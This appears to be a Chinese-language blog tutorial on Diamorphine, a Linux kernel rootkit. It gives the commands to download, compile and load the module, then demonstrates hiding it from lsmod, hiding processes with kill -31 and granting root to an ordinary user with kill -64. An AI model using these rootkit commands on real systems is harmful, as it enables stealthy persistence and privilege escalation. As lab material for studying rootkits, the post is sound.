【进程隐藏】Linux隐藏工具—Diamorphine
【进程隐藏】Linux隐藏工具—Diamorphine
零、Diamorphine 介绍
Diamorphine 是一个Linux内核模块, 支持内核版本 2.6.x/3.x/4.x。可通过 uname -r 查看内核版本。
1  | 当加载的时候, 模块是不可见的(lsmod 看不到);  | 
项目地址: https://github.com/m0nad/Diamorphine
一、部署环境
下载代码
1  | git clone https://github.com/m0nad/Diamorphine  | 
进入目录,开始编译
1  | cd Diamorphine;  | 
加载内核模块
1  | insmod diamorphine.ko  | 
二、验证内核模块隐藏
枚举加载的内核模块并检查 Diamorphine 是否存在列表中。

上图内容如下所示:
1  | 步骤1:执行lsmod命令,diamorphine.ko模块并没有显示,因为模块被隐藏;  | 
三、隐藏用户任意进程
实验内容如图所示:

步骤1:通过运行 sleep 10000 秒来创建一个虚拟进程。
1  | sleep 1000 &  | 
步骤2:diamorphine可以通过发送kill -31 信号从ps 列表中隐藏/取消隐藏这个虚拟进程。
1  | kill -31 <pid of process you want hide>  | 
步骤3:使用ps命令查看sleep进程是否存在
1  | ps -ef | grep sleep  | 
四、普通用户提权至root
diamorphine可以向用户发送kill -64 信号,授予其root 权限。
1  | kill -64 <any_random_pid>  | 
student用户在发送信号后升级为 root 用户。
1  | 步骤1:切换到student,并whoami查看用户  | 

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Lusenの小窝!
 评论